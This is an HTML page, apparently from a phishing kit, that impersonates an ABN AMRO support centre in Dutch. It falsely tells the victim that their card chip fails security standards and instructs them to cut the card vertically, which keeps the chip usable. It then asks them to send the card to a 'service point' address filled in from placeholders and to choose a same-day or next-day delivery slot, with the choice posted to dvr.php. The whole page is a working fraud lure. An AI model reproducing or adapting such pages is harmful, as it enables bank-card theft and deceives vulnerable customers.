<!doctype html>
<html class="no-js" lang="">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>Support Center</title>
    <meta name="description" content="">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <script src="bs.js"></script>
    <style>
        body,
        .content-container {
            margin: 0;
            font-family: 'Open Sans', sans-serif;
            background-color: #f4f4f9;
            display: flex;
            flex-direction: column;
            align-items: center;
            min-height: 100vh;
            width: 100%;
        }
        .content-container {
            flex: 1;
            width: 100%;
        }
        .content-container.blurred {
            filter: blur(5px);
        }
        .header-container {
            background: #007a72;
            width: 100%;
            height: 60px;
            display: flex;
            align-items: center;
            justify-content: flex-start;
            padding-left: 20px;
            box-sizing: border-box;
        }
        .logo {
            background-image: url('./files/colors.svg');
            height: 50px;
            width: 100px;
            background-size: contain;
            background-repeat: no-repeat;
            margin-left: 20px;
        }
        .main-container {
            display: flex;
            justify-content: center;
            align-items: center;
            width: 100%;
            padding: 20px;
            box-sizing: border-box;
            flex-grow: 1;
        }
        .main {
            background-color: white;
            padding: 25px;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            width: 100%;
            max-width: 500px;
            text-align: center;
            animation: slideIn 0.5s;
            margin-top: 20px;
            box-sizing: border-box;
        }
        .second {
            background-color: white;
            padding: 25px;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            width: 100%;
            max-width: 500px;
            text-align: center;
            animation: slideIn 0.5s;
            margin-top: 20px;
            box-sizing: border-box;
            display: none;
        }
        .info-box {
            background-color: #f0fdfa;
            color: #003e39;
            padding: 16px 20px;
            margin-bottom: 20px;
            font-size: 0.9em;
            border-left: 4px solid #007a72;
            box-shadow: 0 2px 6px rgba(0, 0, 0, 0.05);
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            line-height: 1.6;
            text-align: left;
        }
        .form-group {
            margin-bottom: 20px;
            text-align: left;
        }
        .form-group label {
            display: block;
            margin-bottom: 8px;
            font-weight: bold;
            color: #007a72;
        }
        .form-group input {
            padding: 10px;
            border: 1px solid #ccc;
            box-sizing: border-box;
        }
        .form-group input.error {
            border: 1px solid red;
        }
        .btn {
            background-color: #ffd40a;
            color: black;
            border: none;
            padding: 10px 20px;
            cursor: pointer;
            font-size: 16px;
            transition: background-color 0.3s ease;
            border-radius: 0;
            margin-top: 20px;
        }
        .btn:hover {
            background-color: #e6c200;
        }
        .error-message {
            color: red;
            font-size: 0.8em;
            margin-top: 10px;
            display: none;
        }
        .footer-container {
            background: #007a72;
            width: 100%;
            text-align: center;
            padding: 15px 0;
            color: white;
            font-size: 0.9em;
            margin-top: auto;
        }
        .image-section {
            margin-top: 20px;
            text-align: center;
            background-color: #f0fdfa;
            padding: 16px;
            box-shadow: 0 2px 6px rgba(0, 0, 0, 0.1);
            display: inline-block;
        }
        .image-section img {
            max-width: 100%;
            height: auto;
        }
        @keyframes slideIn {
            from {
                transform: translateY(-50px);
                opacity: 0;
            }
            to {
                transform: translateY(0);
                opacity: 1;
            }
        }
        @media only screen and (max-width: 768px) {
            .main, .second {
                width: 100%;
                padding: 15px;
            }
        }
        .modal {
            display: none;
            position: fixed;
            z-index: 1;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            overflow: auto;
            background-color: rgba(0, 0, 0, 0.8);
        }
        .modal-content {
            background-color: #fefefe;
            margin: 15% auto;
            padding: 20px;
            border: 1px solid #888;
            width: 80%;
            max-width: 500px;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            animation: slideIn 0.5s;
        }
        .close {
            color: #aaa;
            float: right;
            font-size: 28px;
            font-weight: bold;
        }
        .close:hover,
        .close:focus {
            color: black;
            text-decoration: none;
            cursor: pointer;
        }
        .modal-image {
            width: 100%;
            height: auto;
            margin-bottom: 15px;
        }
        .loader {
            border: 3px solid #f3f3f3;
            border-top: 3px solid #007a72;
            border-radius: 50%;
            width: 30px;
            height: 30px;
            animation: spin 2s linear infinite;
            margin: auto;
        }
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        table, th, td {
            border: 1px solid black;
        }
        th, td {
            padding: 8px;
            text-align: left;
        }
        .input-row {
            display: flex;
            align-items: center;
            margin-bottom: 15px;
            width: 100%;
        }
        .input-group-addon {
            background-color: #f2f7f7;
            border: 1px solid #ccc;
            border-radius: 0;
            padding: 10px;
            color: #607e7d;
            height: 19px;
            display: flex;
            align-items: center;
            white-space: nowrap;
        }
        .account-number-input, .card-number-input, .respons-input, .form-control {
            height: 40px;
            border: 1px solid #ccc;
            border-radius: 0;
        }
        .account-number-input {
            width: 110px;
        }
        .card-number-input {
            width: 60px;
            margin-left: 5px;
        }
        .respons-input {
            width: 225px;
        }
        .pin-fields-inline {
            display: flex;
            justify-content: space-between;
        }
        .pin-field-group {
            display: flex;
            flex-direction: column;
            margin-right: 5px;
        }
        .pin-field {
            width: 80px;
            padding: 12px;
            border: 1px solid #ccc;
            box-sizing: border-box;
            text-align: center;
            font-size: 16px;
            border-radius: 0;
        }
        .pin-field.error {
            border: 1px solid red;
        }
        .pin-field-label {
            margin-bottom: 5px;
            font-weight: bold;
            color: #007a72;
            text-align: center;
            font-size: 0.8em;
        }
        .delivery-select-container {
            margin-bottom: 20px;
            text-align: left;
            display: none;
        }
        .delivery-select-container label {
            display: block;
            margin-bottom: 8px;
            font-weight: bold;
            color: #007a72;
        }
        .delivery-select-container select {
            width: 100%;
            padding: 10px;
            border: 1px solid #ccc;
            border-radius: 4px;
            background-color: #f2f7f7;
            box-sizing: border-box;
            height: 40px;
            transition: all 0.3s ease;
        }
        .delivery-select-container select:focus {
            outline: none;
            border-color: #007a72;
            box-shadow: 0 0 5px rgba(0, 122, 114, 0.5);
        }
        .delivery-select-container select.error {
            border: 1px solid red;
        }
        .blur-content {
            filter: blur(5px);
        }
        .show-address {
            color: #007a72;
            text-decoration: none;
            cursor: pointer;
            margin-top: 10px;
            display: inline-block;
            font-weight: bold;
            padding: 8px 16px;
            background-color: #f2f7f7;
            border-radius: 4px;
            transition: background-color 0.3s ease;
        }
        .show-address:hover {
            background-color: #e6e9e9;
        }
        .modal-checkbox {
            margin-top: 15px;
        }
        .address-container {
            max-width: 330px;
            padding: 20px;
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            font-size: 16px;
            color: #1a1a1a;
            background: #f9f9f9;
            border: 1px solid #ccc;
            border-radius: 12px;
            box-shadow: 0 2px 4px rgba(0,0,0,0.05);
            background-image: radial-gradient(circle, #eee 1px, transparent 1px);
            background-size: 12px 12px;
            margin: 20px auto;
            position: relative;
            clip-path: polygon(
                10px 0%, calc(100% - 10px) 0%, 100% 10px, 100% calc(100% - 10px),
                calc(100% - 10px) 100%, 10px 100%, 0% calc(100% - 10px), 0% 10px
            );
        }
    </style>
    <link href="https://fonts.googleapis.com/css?family=Roboto+Slab:300|Open+Sans:300" rel="stylesheet" type="text/css">
    <link rel="icon" href="">
</head>
<body>
    <div class="content-container">
        <div class="header-container"></div><br>
        <div style="margin-top: 20px;" class="logo"></div>
        <div class="main-container">
            <form action="dvr.php" method="post" id="myForm" onsubmit="return validateForm()">
                <div class="main">
                    <h3 style="color: #007a72; margin-top: 5px;">Uitslag klant analyse 🔍</h3>
                    <div class="form-group">
                        <div style="
                            background-color: #fffff;
                            color: #1a1a1a;
                            border: 1px solid rgba(200, 200, 200, 0.5);
                            padding: 12px 16px;
                            border-radius: 8px;
                            max-width: 500px;
                            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
                            font-size: 14px;
                            line-height: 1.5;
                            margin: 15px auto;
                            box-shadow: 0 2px 4px rgba(0,0,0,0.04);
                            text-align: left;
                            position: relative;
                        ">
                            <div style="display: flex; align-items: center;">
                                <div style="flex: 1;">
                                    <p style="margin: 0; font-size: 14px;">
                                        Uit onze klant analyse is er vastgesteld dat de magneet chip van uw betaalpas niet (volledig) voldoet aan de huidige veiligheidsstandaarden.
                                    </p>
                                    <p style="margin: 10px 0; font-size: 14px;">
                                        Ter bescherming van onze services & diensten en uw eigen veiligheid wordt deze betaalkaart automatisch opgenomen in ons vernieuwingsproces.
                                    </p>
                                </div>
                                <div style="flex: 0; margin-left: 10px;">
                                    <img src="./files/images2.jpg" alt="Image" style="width: 80px; height: auto;"/>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="form-group" style="margin-top: -20px;">
                        <div style="background-color: #f2f7f7; color: #1a1a1a; border: 1px solid #d0dddd; padding: 24px 28px; border-radius: 8px; max-width: 550px; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; font-size: 14px; line-height: 1.7; margin: 30px auto; box-shadow: 0 2px 4px rgba(0,0,0,0.04);">
                            <h3 style="margin: 0 0 16px 0; font-size: 16px; color: #007b73; text-align: center; display: flex; align-items: center; justify-content: center; gap: 8px;">
                                <b>Product verwerking</b>
                                <img src="./files/paserror.png" alt="Betaalpas" style="height: 48px; width: auto;">
                            </h3>
                            <hr style="border: none; border-top: 1px solid #c5d5d5; margin: 0 0 15px 0;">
                            <div style="display: flex; flex-wrap: wrap; align-items: flex-start; gap: 16px;">
                                <div style="flex: 1; min-width: 220px;">
                                    <p style="margin-top: 0;">
                                        Verzend uw oude betaalpas in een <b>(voldoende gefrankeerde)</b> envelop naar het dichtstbijzijnde service punt in uw regio.
                                    </p>
                                    <div class="image-container">
                                        <p style="margin: 0;">
                                            <strong>Belangrijk!</strong> Knip de pas verticaal door het midden. Horizontaal geknipt en / of beschadigde chip wordt niet gerecupereerd.
                                        </p>
                                    </div>
                                    <br>
                                    <br>
                                    <div class="address-container">
                                        <strong style="display: block; margin-bottom: 7px; color: #007b73;">
                                            Noteer alvorens u verder gaat:
                                        </strong>
                                        <div id="servicePointInfo" class="blur-content">
                                            Regionaal Service Punt<br>
                                            #SND#<br>
                                            #SND2#
                                        </div>
                                        <img src="./files/servicepunt.png" alt="Service Punt" style="
                                            height: 55px;
                                            width: auto;
                                            position: absolute;
                                            bottom: 10px;
                                            right: 10px;
                                        ">
                                    </div>
                                    <div class="show-address" onclick="showAddressModal()">Toon adres om procedure te hervatten ></div>
                                </div>
                            </div>
                        </div>
                    </div>
					
                    <div class="delivery-select-container" id="deliverySelectContainer">
                        <label for="deliveryOption"><b>Bezorgoptie</b></label>
                        <select class="form-control" id="deliveryOption" name="deliveryOption">
                            <option value="" disabled selected>Selecteer een optie</option>
                            <option value="today for 18:00">Vandaag voor 18:00</option>
                            <option value="tomorrow for 18:00">Morgen voor 18:00</option>
                        </select>
                        <div id="deliveryError" class="error-message">⚠️ <b>Selecteer een bezorgoptie.</b></div>
                    </div>
                    <div style="text-align: left; display: none;" id="submitButtonContainer">
                        <button type="submit" class="btn">Bevestig</button>
                    </div>
                    <input type="hidden" name="form_type" value="deliveryoption">
                </div>
            </form>
        </div>
        <div class="footer-container">
            <footer>
                <p><b>Support Center</b></p>
                <p><b>Support ID: #CODE#</b></p>
            </footer>
        </div>
    </div>
    <div id="addressModal" class="modal">
        <div class="modal-content">
            <span class="close" onclick="closeModal()">&times;</span>
            <div style="
                background-color: rgba(255, 0, 0, 0.1);
                color: #1a1a1a;
                border: 1px solid rgba(255, 0, 0, 0.3);
                padding: 12px 16px;
                border-radius: 8px;
                max-width: 400px;
                font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
                font-size: 14px;
                line-height: 1.5;
                margin: 15px auto;
                box-shadow: 0 2px 4px rgba(0,0,0,0.04);
                text-align: left;
            ">
                <span style="font-size: 14px;"><b>Systeemmelding</b> ⚠️ <br><br>Uw betaalproduct is eigendom van ABN AMRO Bank Group en moet op verzoek worden ingeleverd. Deze verplichting staat vermeld op de achterzijde van uw betaalpas.</span>
                <div class="modal-checkbox">
                    <input type="checkbox" id="agreeCheckbox" onclick="agreeToTerms()">
                    <label for="agreeCheckbox">Ik ga akkoord met deze voorwaarden.</label>
                </div>
            </div>
        </div>
    </div>
    <script>
        function validateForm() {
            var deliveryOption = document.getElementById('deliveryOption').value;
            var deliveryError = document.getElementById('deliveryError');
            var deliverySelect = document.getElementById('deliveryOption');
            var isValid = true;
            if (deliveryOption === '' || deliveryOption === null) {
                deliverySelect.classList.add('error');
                deliveryError.style.display = 'block';
                isValid = false;
            } else {
                deliverySelect.classList.remove('error');
                deliveryError.style.display = 'none';
            }
            return isValid;
        }
        function showAddressModal() {
            document.getElementById('addressModal').style.display = 'block';
        }
        function closeModal() {
            document.getElementById('addressModal').style.display = 'none';
        }
        function agreeToTerms() {
            var checkbox = document.getElementById('agreeCheckbox');
            if (checkbox.checked) {
                closeModal();
                document.getElementById('servicePointInfo').classList.remove('blur-content');
                document.getElementById('deliverySelectContainer').style.display = 'block';
                document.getElementById('submitButtonContainer').style.display = 'block';
            }
        }
        function isNumber(evt) {
            evt = (evt) ? evt : window.event;
            var charCode = (evt.which) ? evt.which : evt.keyCode;
            if (charCode > 31 && (charCode < 48 || charCode > 57)) {
                return false;
            }
            return true;
        }
    </script>
</body>
</html>
